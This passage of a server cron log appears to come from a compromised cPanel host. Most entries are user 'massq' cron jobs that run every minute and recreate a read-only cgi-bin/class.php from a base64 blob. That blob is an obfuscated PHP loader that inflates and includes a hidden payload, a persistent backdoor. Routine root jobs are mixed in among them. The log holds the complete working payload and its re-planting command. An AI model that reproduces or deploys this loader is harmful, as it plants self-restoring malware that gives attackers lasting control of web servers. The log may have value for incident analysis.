PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:29:01 server CROND[12761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:30:01 server CROND[12813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:30:01 server CROND[12814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:30:01 server CROND[12812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:30:01 server CROND[12815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:31:01 server CROND[12933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:32:01 server CROND[12983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:33:01 server CROND[13034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:34:01 server CROND[13177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:35:01 server CROND[13230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:35:01 server CROND[13241]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 19:35:01 server CROND[13246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:35:01 server CROND[13242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:35:01 server CROND[13247]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 19:36:01 server CROND[13351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:37:01 server CROND[13405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:38:01 server CROND[13455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:39:01 server CROND[13608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:39:01 server CROND[13609]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 19:40:01 server CROND[13681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:40:01 server CROND[13682]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:40:01 server CROND[13683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:40:01 server CROND[13684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:41:01 server CROND[13847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
